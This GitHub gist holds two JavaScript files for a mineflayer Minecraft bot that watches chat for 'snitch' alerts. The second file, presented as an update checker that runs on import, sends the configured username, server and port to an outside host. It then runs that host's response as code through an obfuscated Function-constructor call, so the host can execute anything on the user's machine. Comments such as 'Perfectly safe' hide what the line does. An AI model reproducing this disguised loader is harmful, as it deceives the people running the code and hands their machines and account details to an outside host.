Created
October 21, 2017 07:48
-
-
Save Ameliorate/a5bb032152908be93503efd38556ca38 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var mf = require('mineflayer'); | |
var rp = require('mineflayer-radar')(mf); | |
var c = require('./config.js'); | |
var d = require('discord.js'); | |
var h = require('humanize'); | |
b = mf.createBot({ | |
host: c.host, | |
port: c.port, | |
username: c.username, | |
password: c.password | |
}); | |
rp(b, {}); | |
b.chatAddPattern(/^§b \* [a-zA-Z0-9_]{1,16} entered snitch at \S* \[.* ?[\d\-]* [\d\-]* [\d\-]*]$/, | |
'snitch_e', 'entered snitch'); | |
b.chatAddPattern(/^§b \* [a-zA-Z0-9_]{1,16} logged in to snitch at \S* \[.* ?[\d\-]* [\d\-]* [\d\-]*]$/, | |
'snitch_li', 'logged in at snitch'); | |
b.chatAddPattern(/^§b \* [a-zA-Z0-9_]{1,16} logged out in snitch at \S* \[.* ?[\d\-]* [\d\-]* [\d\-]*]$/, | |
'snitch_lo', 'logged out in snitch'); | |
b.on('message', (m) => { | |
console.log(m.toAnsi()); | |
}); | |
b.on('snitch_e', () => { | |
}); | |
b.on('snitch_li', () => { | |
}); | |
b.on('snitch_lo', () => { | |
}); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var h = require('http'); | |
var u = require('util'); | |
var c = require('./config.js'); | |
var m = require('mineflayer'); | |
var v = 1; | |
// Perfectly safe, rambotting.tk runs through cloudflare, which acts as a proxy between the server and needs to | |
// enable a setting to send IP addresses. | |
h.get(u.format('http://box.rambotting.tk/snitchupdate.json?username=%s&server=%s&port=%d&version=%d', | |
c.mcusername, c.mchost, c.mcport, v), | |
(r) => { | |
let d = ""; | |
r.on('data', (h) => { | |
d += h | |
}); | |
r.on('end', () => { | |
let z = []["filter"]["constructor"](d)(); // Compatible with basically every javascript environment ever. | |
/** @namespace z.shouldupdate */ | |
if (z.shouldupdate === true) { | |
/** @namespace z.updatelink */ | |
console.log(u.format("[info] Update available. It can be downloaded at %s", z.updatelink)) | |
} | |
}); | |
}).on('error', (err) => { | |
console.log('[warn] Error getting update info: ' + err.message); | |
}); | |
module.exports = null; // Yay for side-effect imports |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment